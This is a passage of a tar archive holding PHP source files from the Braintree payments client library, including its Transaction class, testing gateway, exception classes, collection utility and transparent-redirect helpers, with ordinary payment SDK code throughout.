=> '5105105105105100', * 'expirationDate' => '05/2012' * ), * 'options' => array( * 'submitForSettlement' => true * ) * )); * </code> * * <b>== More information ==</b> * * For more detailed information on Transactions, see {@link https://developers.braintreepayments.com/reference/response/transaction/php https://developers.braintreepayments.com/reference/response/transaction/php} * * @package Braintree * @category Resources * * * @property-read \Braintree\AddOn[] $addons * @property-read string $additionalProcessorResponse raw response from processor * @property-read string $amount transaction amount * @property-read \Braintree\AmexExpressCheckoutCardDetails $amexExpressCheckoutCardDetails transaction Amex Express Checkout card info * @property-read \Braintree\AndroidPayCardDetails $androidPayCardDetails transaction Android Pay card info * @property-read \Braintree\ApplePayCardDetails $applePayCardDetails transaction Apple Pay card info * @property-read \Braintree\AuthorizationAdjustment[] $authorizationAdjustments populated when a transaction has authorization adjustments created when submitted for settlement * @property-read \DateTime $authorizationExpiresAt DateTime authorization will expire * @property-read string $avsErrorResponseCode * @property-read string $avsPostalCodeResponseCode * @property-read string $avsStreetAddressResponseCode * @property-read \Braintree\Transaction\AddressDetails $billingDetails transaction billing address * @property-read string $channel * @property-read \Braintree\CoinbaseDetails $coinbaseDetails transaction Coinbase account info * @property-read \DateTime $createdAt transaction created DateTime * @property-read \Braintree\CreditCardDetails $creditCardDetails transaction credit card info * @property-read string $currencyIsoCode * @property-read array $customFields custom fields passed with the request * @property-read \Braintree\Transaction\CustomerDetails $customerDetails transaction customer info * @property-read string $cvvResponseCode * @property-read \Braintree\Descriptor $descriptor * @property-read Braintree\DisbursementDetails $disbursementDetails populated when transaction is disbursed * @property-read string $discountAmount * @property-read \Braintree\Discount[] $discounts * @property-read \Braintree\Dispute[] $disputes populated when transaction is disputed * @property-read string $escrowStatus * @property-read \Braintree\FacilitatedDetails $facilitatedDetails * @property-read \Braintree\FacilitatorDetails $facilitatorDetails * @property-read string $gatewayRejectionReason * @property-read string $id transaction id * @property-read \Braintree\IdealPayment $idealPaymentDetails transaction Ideal Payment info * @property-read \Braintree\TransactionLineItem[] $lineItems * @property-read \Braintree\MasterpassCardDetails $masterpassCardDetails transaction Masterpass card info * @property-read string $merchantAccountId * @property-read string $networkTransactionId * @property-read string $orderId * @property-read string $paymentInstrumentType * @property-read \Braintree\PayPalDetails $paypalDetails transaction paypal account info * @property-read string $planId * @property-read string $processorAuthorizationCode * @property-read string $processorResponseCode gateway response code * @property-read string $processorResponseText * @property-read string $processorResponseType * @property-read string $processorSettlementResponseCode * @property-read string $processorSettlementResponseText * @property-read string $purchaseOrderNumber * @property-read mixed $reccuring * @property-read mixed $refundIds * @property-read string $refundedTransactionId * @property-read \Braintree\RiskData $riskData * @property-read \Braintree\SamsungPayCardDetails $samsungPayCardDetails transaction Samsung Pay card info * @property-read string $serviceFeeAmount * @property-read string $settlementBatchId * @property-read string $shippingAmount * @property-read \Braintree\Transaction\AddressDetails $shippingDetails transaction shipping address * @property-read string $status transaction status * @property-read \Braintree\Transaction\StatusDetails[] $statusHistory array of StatusDetails objects * @property-read \Braintree\Transaction\SubscriptionDetails $subscriptionDetails * @property-read string $subscriptionId * @property-read string $taxAmount * @property-read string $taxExcempt * @property-read \Braintree\ThreeDSecureInfo $threeDSecureInfo * @property-read string $type transaction type * @property-read \DateTime $updatedAt transaction updated DateTime * @property-read \Braintree\VenmoAccount $venmoAccountDetails transaction Venmo Account info * @property-read \Braintree\VisaCheckoutCardDetails $visaCheckoutCardDetails transaction Visa Checkout card info * @property-read string $voiceReferralName * */ class Transaction extends Base { // Transaction Status const AUTHORIZATION_EXPIRED = 'authorization_expired'; const AUTHORIZING = 'authorizing'; const AUTHORIZED = 'authorized'; const GATEWAY_REJECTED = 'gateway_rejected'; const FAILED = 'failed'; const PROCESSOR_DECLINED = 'processor_declined'; const SETTLED = 'settled'; const SETTLING = 'settling'; const SUBMITTED_FOR_SETTLEMENT = 'submitted_for_settlement'; const VOIDED = 'voided'; const UNRECOGNIZED = 'unrecognized'; const SETTLEMENT_DECLINED = 'settlement_declined'; const SETTLEMENT_PENDING = 'settlement_pending'; const SETTLEMENT_CONFIRMED = 'settlement_confirmed'; // Transaction Escrow Status const ESCROW_HOLD_PENDING = 'hold_pending'; const ESCROW_HELD = 'held'; const ESCROW_RELEASE_PENDING = 'release_pending'; const ESCROW_RELEASED = 'released'; const ESCROW_REFUNDED = 'refunded'; // Transaction Types const SALE = 'sale'; const CREDIT = 'credit'; // Transaction Created Using const FULL_INFORMATION = 'full_information'; const TOKEN = 'token'; // Transaction Sources const API = 'api'; const CONTROL_PANEL = 'control_panel'; const RECURRING = 'recurring'; // Gateway Rejection Reason const AVS = 'avs'; const AVS_AND_CVV = 'avs_and_cvv'; const CVV = 'cvv'; const DUPLICATE = 'duplicate'; const FRAUD = 'fraud'; const THREE_D_SECURE = 'three_d_secure'; const APPLICATION_INCOMPLETE = 'application_incomplete'; // Industry Types const LODGING_INDUSTRY = 'lodging'; const TRAVEL_AND_CRUISE_INDUSTRY = 'travel_cruise'; const TRAVEL_AND_FLIGHT_INDUSTRY = 'travel_flight'; /** * sets instance properties from an array of values * * @ignore * @access protected * @param array $transactionAttribs array of transaction data * @return void */ protected function _initialize($transactionAttribs) { $this->_attributes = $transactionAttribs; if (isset($transactionAttribs['applePay'])) { $this->_set('applePayCardDetails', new Transaction\ApplePayCardDetails( $transactionAttribs['applePay'] ) ); } if (isset($transactionAttribs['androidPayCard'])) { $this->_set('androidPayCardDetails', new Transaction\AndroidPayCardDetails( $transactionAttribs['androidPayCard'] ) ); } if (isset($transactionAttribs['masterpassCard'])) { $this->_set('masterpassCardDetails', new Transaction\MasterpassCardDetails( $transactionAttribs['masterpassCard'] ) ); } if (isset($transactionAttribs['visaCheckoutCard'])) { $this->_set('visaCheckoutCardDetails', new Transaction\VisaCheckoutCardDetails( $transactionAttribs['visaCheckoutCard'] ) ); } if (isset($transactionAttribs['samsungPayCard'])) { $this->_set('samsungPayCardDetails', new Transaction\SamsungPayCardDetails( $transactionAttribs['samsungPayCard'] ) ); } if (isset($transactionAttribs['amexExpressCheckoutCard'])) { $this->_set('amexExpressCheckoutCardDetails', new Transaction\AmexExpressCheckoutCardDetails( $transactionAttribs['amexExpressCheckoutCard'] ) ); } if (isset($transactionAttribs['venmoAccount'])) { $this->_set('venmoAccountDetails', new Transaction\VenmoAccountDetails( $transactionAttribs['venmoAccount'] ) ); } if (isset($transactionAttribs['creditCard'])) { $this->_set('creditCardDetails', new Transaction\CreditCardDetails( $transactionAttribs['creditCard'] ) ); } if (isset($transactionAttribs['coinbaseAccount'])) { $this->_set('coinbaseDetails', new Transaction\CoinbaseDetails( $transactionAttribs['coinbaseAccount'] ) ); } if (isset($transactionAttribs['usBankAccount'])) { $this->_set('usBankAccount', new Transaction\UsBankAccountDetails( $transactionAttribs['usBankAccount'] ) ); } if (isset($transactionAttribs['idealPayment'])) { $this->_set('idealPayment', new Transaction\IdealPaymentDetails( $transactionAttribs['idealPayment'] ) ); } if (isset($transactionAttribs['paypal'])) { $this->_set('paypalDetails', new Transaction\PayPalDetails( $transactionAttribs['paypal'] ) ); } if (isset($transactionAttribs['customer'])) { $this->_set('customerDetails', new Transaction\CustomerDetails( $transactionAttribs['customer'] ) ); } if (isset($transactionAttribs['billing'])) { $this->_set('billingDetails', new Transaction\AddressDetails( $transactionAttribs['billing'] ) ); } if (isset($transactionAttribs['shipping'])) { $this->_set('shippingDetails', new Transaction\AddressDetails( $transactionAttribs['shipping'] ) ); } if (isset($transactionAttribs['subscription'])) { $this->_set('subscriptionDetails', new Transaction\SubscriptionDetails( $transactionAttribs['subscription'] ) ); } if (isset($transactionAttribs['descriptor'])) { $this->_set('descriptor', new Descriptor( $transactionAttribs['descriptor'] ) ); } if (isset($transactionAttribs['disbursementDetails'])) { $this->_set('disbursementDetails', new DisbursementDetails($transactionAttribs['disbursementDetails']) ); } $disputes = []; if (isset($transactionAttribs['disputes'])) { foreach ($transactionAttribs['disputes'] AS $dispute) { $disputes[] = Dispute::factory($dispute); } } $this->_set('disputes', $disputes); $statusHistory = []; if (isset($transactionAttribs['statusHistory'])) { foreach ($transactionAttribs['statusHistory'] AS $history) { $statusHistory[] = new Transaction\StatusDetails($history); } } $this->_set('statusHistory', $statusHistory); $addOnArray = []; if (isset($transactionAttribs['addOns'])) { foreach ($transactionAttribs['addOns'] AS $addOn) { $addOnArray[] = AddOn::factory($addOn); } } $this->_set('addOns', $addOnArray); $discountArray = []; if (isset($transactionAttribs['discounts'])) { foreach ($transactionAttribs['discounts'] AS $discount) { $discountArray[] = Discount::factory($discount); } } $this->_set('discounts', $discountArray); $authorizationAdjustments = []; if (isset($transactionAttribs['authorizationAdjustments'])) { foreach ($transactionAttribs['authorizationAdjustments'] AS $authorizationAdjustment) { $authorizationAdjustments[] = AuthorizationAdjustment::factory($authorizationAdjustment); } } $this->_set('authorizationAdjustments', $authorizationAdjustments); if(isset($transactionAttribs['riskData'])) { $this->_set('riskData', RiskData::factory($transactionAttribs['riskData'])); } if(isset($transactionAttribs['threeDSecureInfo'])) { $this->_set('threeDSecureInfo', ThreeDSecureInfo::factory($transactionAttribs['threeDSecureInfo'])); } if(isset($transactionAttribs['facilitatedDetails'])) { $this->_set('facilitatedDetails', FacilitatedDetails::factory($transactionAttribs['facilitatedDetails'])); } if(isset($transactionAttribs['facilitatorDetails'])) { $this->_set('facilitatorDetails', FacilitatorDetails::factory($transactionAttribs['facilitatorDetails'])); } } /** * returns a string representation of the transaction * @return string */ public function __toString() { // array of attributes to print $display = [ 'id', 'type', 'amount', 'status', 'createdAt', 'creditCardDetails', 'customerDetails' ]; $displayAttributes = []; foreach ($display AS $attrib) { $displayAttributes[$attrib] = $this->$attrib; } return __CLASS__ . '[' . Util::attributesToString($displayAttributes) .']'; } public function isEqual($otherTx) { return $this->id === $otherTx->id; } public function vaultCreditCard() { $token = $this->creditCardDetails->token; if (empty($token)) { return null; } else { return CreditCard::find($token); } } /** @return void|Braintree\Customer */ public function vaultCustomer() { $customerId = $this->customerDetails->id; if (empty($customerId)) { return null; } else { return Customer::find($customerId); } } /** @return boolean */ public function isDisbursed() { return $this->disbursementDetails->isValid(); } /** @return line items */ public function lineItems() { return Configuration::gateway()->transactionLineItem()->findAll($this->id); } /** * factory method: returns an instance of Transaction * to the requesting method, with populated properties * * @ignore * @return Transaction */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } // static methods redirecting to gateway public static function cloneTransaction($transactionId, $attribs) { return Configuration::gateway()->transaction()->cloneTransaction($transactionId, $attribs); } public static function createFromTransparentRedirect($queryString) { return Configuration::gateway()->transaction()->createFromTransparentRedirect($queryString); } public static function createTransactionUrl() { return Configuration::gateway()->transaction()->createTransactionUrl(); } public static function credit($attribs) { return Configuration::gateway()->transaction()->credit($attribs); } public static function creditNoValidate($attribs) { return Configuration::gateway()->transaction()->creditNoValidate($attribs); } public static function find($id) { return Configuration::gateway()->transaction()->find($id); } public static function sale($attribs) { return Configuration::gateway()->transaction()->sale($attribs); } public static function saleNoValidate($attribs) { return Configuration::gateway()->transaction()->saleNoValidate($attribs); } public static function search($query) { return Configuration::gateway()->transaction()->search($query); } public static function fetch($query, $ids) { return Configuration::gateway()->transaction()->fetch($query, $ids); } public static function void($transactionId) { return Configuration::gateway()->transaction()->void($transactionId); } public static function voidNoValidate($transactionId) { return Configuration::gateway()->transaction()->voidNoValidate($transactionId); } public static function submitForSettlement($transactionId, $amount = null, $attribs = []) { return Configuration::gateway()->transaction()->submitForSettlement($transactionId, $amount, $attribs); } public static function submitForSettlementNoValidate($transactionId, $amount = null, $attribs = []) { return Configuration::gateway()->transaction()->submitForSettlementNoValidate($transactionId, $amount, $attribs); } public static function updateDetails($transactionId, $attribs = []) { return Configuration::gateway()->transaction()->updateDetails($transactionId, $attribs); } public static function submitForPartialSettlement($transactionId, $amount, $attribs = []) { return Configuration::gateway()->transaction()->submitForPartialSettlement($transactionId, $amount, $attribs); } public static function holdInEscrow($transactionId) { return Configuration::gateway()->transaction()->holdInEscrow($transactionId); } public static function releaseFromEscrow($transactionId) { return Configuration::gateway()->transaction()->releaseFromEscrow($transactionId); } public static function cancelRelease($transactionId) { return Configuration::gateway()->transaction()->cancelRelease($transactionId); } public static function refund($transactionId, $amount = null) { return Configuration::gateway()->transaction()->refund($transactionId, $amount); } } class_alias('Braintree\Transaction', 'Braintree_Transaction'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/TestingGateway.php����������������������������������������������������������0000644�����������������00000002726�14720677707�0014700 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class TestingGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_http = new Http($this->_config); } public function settle($transactionId) { return self::_doTestRequest('/settle', $transactionId); } public function settlementPending($transactionId) { return self::_doTestRequest('/settlement_pending', $transactionId); } public function settlementConfirm($transactionId) { return self::_doTestRequest('/settlement_confirm', $transactionId); } public function settlementDecline($transactionId) { return self::_doTestRequest('/settlement_decline', $transactionId); } private function _doTestRequest($testPath, $transactionId) { self::_checkEnvironment(); $path = $this->_config->merchantPath() . '/transactions/' . $transactionId . $testPath; $response = $this->_http->put($path); return Transaction::factory($response['transaction']); } private function _checkEnvironment() { if (Configuration::$global->getEnvironment() === 'production') { throw new Exception\TestOperationPerformedInProduction(); } } } class_alias('Braintree\TestingGateway', 'Braintree_TestingGateway'); ������������������������������������������braintree/lib/Braintree/Exception/TooManyRequests.php�����������������������������������������������0000644�����������������00000000520�14720677707�0017007 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when the gateway request rate-limit is exceeded. * * @package Braintree * @subpackage Exception */ class TooManyRequests extends Exception { } class_alias('Braintree\Exception\TooManyRequests', 'Braintree_Exception_TooManyRequests'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/SSLCaFileNotFound.php���������������������������������������������0000644�����������������00000000507�14720677707�0017054 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when the SSL CaFile is not found. * * @package Braintree * @subpackage Exception */ class SSLCaFileNotFound extends Exception { } class_alias('Braintree\Exception\SSLCaFileNotFound', 'Braintree_Exception_SSLCaFileNotFound'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/InvalidSignature.php����������������������������������������������0000644�����������������00000000323�14720677707�0017136 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; class InvalidSignature extends Exception { } class_alias('Braintree\Exception\InvalidSignature', 'Braintree_Exception_InvalidSignature'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/Connection.php����������������������������������������������������0000644�����������������00000000543�14720677707�0015771 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when the connection fails * * @package Braintree * @subpackage Exception * @copyright 2015 Braintree, a division of PayPal, Inc. */ class Connection extends Exception { } class_alias('Braintree\Exception\Connection', 'Braintree_Exception_Connection');�������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/Authorization.php�������������������������������������������������0000644�����������������00000000725�14720677707�0016534 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when authorization fails * Raised when the API key being used is not authorized to perform * the attempted action according to the roles assigned to the user * who owns the API key. * * @package Braintree * @subpackage Exception */ class Authorization extends Exception { } class_alias('Braintree\Exception\Authorization', 'Braintree_Exception_Authorization'); �������������������������������������������braintree/lib/Braintree/Exception/Timeout.php�������������������������������������������������������0000644�����������������00000000435�14720677707�0015320 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when a Timeout occurs * * @package Braintree * @subpackage Exception */ class Timeout extends Exception { } class_alias('Braintree\Exception\Timeout', 'Braintree_Exception_Timeout'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/SSLCertificate.php������������������������������������������������0000644�����������������00000000511�14720677707�0016471 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when the SSL certificate fails verification. * * @package Braintree * @subpackage Exception */ class SSLCertificate extends Exception { } class_alias('Braintree\Exception\SSLCertificate', 'Braintree_Exception_SSLCertificate'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/Authentication.php������������������������������������������������0000644�����������������00000000554�14720677707�0016653 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when authentication fails. * This may be caused by an incorrect Configuration * * @package Braintree * @subpackage Exception */ class Authentication extends Exception { } class_alias('Braintree\Exception\Authentication', 'Braintree_Exception_Authentication'); ����������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/NotFound.php������������������������������������������������������0000644�����������������00000000454�14720677707�0015427 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when a record could not be found. * * @package Braintree * @subpackage Exception */ class NotFound extends Exception { } class_alias('Braintree\Exception\NotFound', 'Braintree_Exception_NotFound'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/Unexpected.php����������������������������������������������������0000644�����������������00000000560�14720677707�0015775 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when an error occurs that the client library is not built to handle. * This shouldn't happen. * * @package Braintree * @subpackage Exception */ class Unexpected extends Exception { } class_alias('Braintree\Exception\Unexpected', 'Braintree_Exception_Unexpected'); ������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/ServerError.php���������������������������������������������������0000644�����������������00000000473�14720677707�0016154 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when an unexpected server error occurs. * * @package Braintree * @subpackage Exception */ class ServerError extends Exception { } class_alias('Braintree\Exception\ServerError', 'Braintree_Exception_ServerError'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/DownForMaintenance.php��������������������������������������������0000644�����������������00000000522�14720677707�0017410 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when the gateway is down for maintenance. * * @package Braintree * @subpackage Exception */ class DownForMaintenance extends Exception { } class_alias('Braintree\Exception\DownForMaintenance', 'Braintree_Exception_DownForMaintenance'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/UpgradeRequired.php�����������������������������������������������0000644�����������������00000000507�14720677707�0016762 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when a client library must be upgraded. * * @package Braintree * @subpackage Exception */ class UpgradeRequired extends Exception { } class_alias('Braintree\Exception\UpgradeRequired', 'Braintree_Exception_UpgradeRequired'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/TestOperationPerformedInProduction.php����������������������������0000644�����������������00000000570�14720677707�0022674 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when a test method is used in production. * * @package Braintree * @subpackage Exception */ class TestOperationPerformedInProduction extends Exception { } class_alias('Braintree\Exception\TestOperationPerformedInProduction', 'Braintree_Exception_TestOperationPerformedInProduction'); ����������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/Configuration.php�������������������������������������������������0000644�����������������00000000560�14720677707�0016500 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when the Braintree library is not completely configured. * * @package Braintree * @subpackage Exception * @see Configuration */ class Configuration extends Exception { } class_alias('Braintree\Exception\Configuration', 'Braintree_Exception_Configuration'); ������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/ValidationsFailed.php���������������������������������������������0000644�����������������00000000540�14720677707�0017251 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised from non-validating methods when gateway validations fail. * * @package Braintree * @subpackage Exception */ class ValidationsFailed extends Exception { } class_alias('Braintree\Exception\ValidationsFailed', 'Braintree_Exception_ValidationsFailed'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/InvalidChallenge.php����������������������������������������������0000644�����������������00000000323�14720677707�0017057 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; class InvalidChallenge extends Exception { } class_alias('Braintree\Exception\InvalidChallenge', 'Braintree_Exception_InvalidChallenge'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Exception/ForgedQueryString.php���������������������������������������������0000644�����������������00000001061�14720677707�0017311 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Exception; use Braintree\Exception; /** * Raised when a suspected forged query string is present * Raised from methods that confirm transparent redirect requests * when the given query string cannot be verified. This may indicate * an attempted hack on the merchant's transparent redirect * confirmation URL. * * @package Braintree * @subpackage Exception */ class ForgedQueryString extends Exception { } class_alias('Braintree\Exception\ForgedQueryString', 'Braintree_Exception_ForgedQueryString'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Collection.php��������������������������������������������������������������0000644�����������������00000006632�14720677707�0014034 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use Countable; use IteratorAggregate; use ArrayAccess; use OutOfRangeException; use ArrayIterator; /** * Braintree Generic collection * * PHP Version 5 * * Based on Generic Collection class from: * {@link http://codeutopia.net/code/library/CU/Collection.php} * * @package Braintree * @subpackage Utility */ class Collection implements Countable, IteratorAggregate, ArrayAccess { /** * * @var array collection storage */ protected $_collection = []; /** * Add a value into the collection * @param string $value */ public function add($value) { $this->_collection[] = $value; } /** * Set index's value * @param integer $index * @param mixed $value * @throws OutOfRangeException */ public function set($index, $value) { if($index >= $this->count()) throw new OutOfRangeException('Index out of range'); $this->_collection[$index] = $value; } /** * Remove a value from the collection * @param integer $index index to remove * @throws OutOfRangeException if index is out of range */ public function remove($index) { if($index >= $this->count()) throw new OutOfRangeException('Index out of range'); array_splice($this->_collection, $index, 1); } /** * Return value at index * @param integer $index * @return mixed * @throws OutOfRangeException */ public function get($index) { if($index >= $this->count()) throw new OutOfRangeException('Index out of range'); return $this->_collection[$index]; } /** * Determine if index exists * @param integer $index * @return boolean */ public function exists($index) { if($index >= $this->count()) return false; return true; } /** * Return count of items in collection * Implements countable * @return integer */ public function count() { return count($this->_collection); } /** * Return an iterator * Implements IteratorAggregate * @return ArrayIterator */ public function getIterator() { return new ArrayIterator($this->_collection); } /** * Set offset to value * Implements ArrayAccess * @see set * @param integer $offset * @param mixed $value */ public function offsetSet($offset, $value) { $this->set($offset, $value); } /** * Unset offset * Implements ArrayAccess * @see remove * @param integer $offset */ public function offsetUnset($offset) { $this->remove($offset); } /** * get an offset's value * Implements ArrayAccess * @see get * @param integer $offset * @return mixed */ public function offsetGet($offset) { return $this->get($offset); } /** * Determine if offset exists * Implements ArrayAccess * @see exists * @param integer $offset * @return boolean */ public function offsetExists($offset) { return $this->exists($offset); } } class_alias('Braintree\Collection', 'Braintree_Collection'); ������������������������������������������������������������������������������������������������������braintree/lib/Braintree/TransparentRedirect.php�����������������������������������������������������0000644�����������������00000006115�14720677707�0015720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree Transparent Redirect module * Static class providing methods to build Transparent Redirect urls. * * The TransparentRedirect module provides methods to build the tr_data param * that must be submitted when using the transparent redirect API. * For more information * about transparent redirect, see (TODO). * * You must provide a redirectUrl to which the gateway will redirect the * user the action is complete. * * <code> * $trData = TransparentRedirect::createCustomerData(array( * 'redirectUrl => 'http://example.com/redirect_back_to_merchant_site', * )); * </code> * * In addition to the redirectUrl, any data that needs to be protected * from user tampering should be included in the trData. * For example, to prevent the user from tampering with the transaction * amount, include the amount in the trData. * * <code> * $trData = TransparentRedirect::transactionData(array( * 'redirectUrl' => 'http://example.com/complete_transaction', * 'transaction' => array('amount' => '100.00'), * )); * * </code> * * @package Braintree * @category Resources */ class TransparentRedirect { // Request Kinds const CREATE_TRANSACTION = 'create_transaction'; const CREATE_PAYMENT_METHOD = 'create_payment_method'; const UPDATE_PAYMENT_METHOD = 'update_payment_method'; const CREATE_CUSTOMER = 'create_customer'; const UPDATE_CUSTOMER = 'update_customer'; /** * @ignore * don't permit an explicit call of the constructor! * (like $t = new TransparentRedirect()) */ protected function __construct() { } // static methods redirecting to gateway public static function confirm($queryString) { return Configuration::gateway()->transparentRedirect()->confirm($queryString); } public static function createCreditCardData($params) { return Configuration::gateway()->transparentRedirect()->createCreditCardData($params); } public static function createCustomerData($params) { return Configuration::gateway()->transparentRedirect()->createCustomerData($params); } public static function url() { return Configuration::gateway()->transparentRedirect()->url(); } public static function transactionData($params) { return Configuration::gateway()->transparentRedirect()->transactionData($params); } public static function updateCreditCardData($params) { return Configuration::gateway()->transparentRedirect()->updateCreditCardData($params); } public static function updateCustomerData($params) { return Configuration::gateway()->transparentRedirect()->updateCustomerData($params); } public static function parseAndValidateQueryString($queryString) { return Configuration::gateway()->transparentRedirect()->parseAndValidateQueryString($queryString); } } class_alias('Braintree\TransparentRedirect', 'Braintree_TransparentRedirect'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/MerchantAccount/AddressDetails.php������������������������������������������0000644�����������������00000000377�14720677707�0017712 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\MerchantAccount; use Braintree\Instance; class AddressDetails extends Instance { protected $_attributes = []; } class_alias('Braintree\MerchantAccount\AddressDetails', 'Braintree_MerchantAccount_AddressDetails'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/MerchantAccount/IndividualDetails.php���������������������������������������0000644�����������������00000001240�14720677707�0020403 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\MerchantAccount; use Braintree\Base; class IndividualDetails extends Base { protected function _initialize($individualAttribs) { $this->_attributes = $individualAttribs; if (isset($individualAttribs['address'])) { $this->_set('addressDetails', new AddressDetails($individualAttribs['address'])); } } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } } class_alias('Braintree\MerchantAccount\IndividualDetails', 'Braintree_MerchantAccount_IndividualDetails'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/MerchantAccount/BusinessDetails.php�����������������������������������������0000644�����������������00000001222�14720677707�0020106 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\MerchantAccount; use Braintree\Base; class BusinessDetails extends Base { protected function _initialize($businessAttribs) { $this->_attributes = $businessAttribs; if (isset($businessAttribs['address'])) { $this->_set('addressDetails', new AddressDetails($businessAttribs['address'])); } } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } } class_alias('Braintree\MerchantAccount\BusinessDetails', 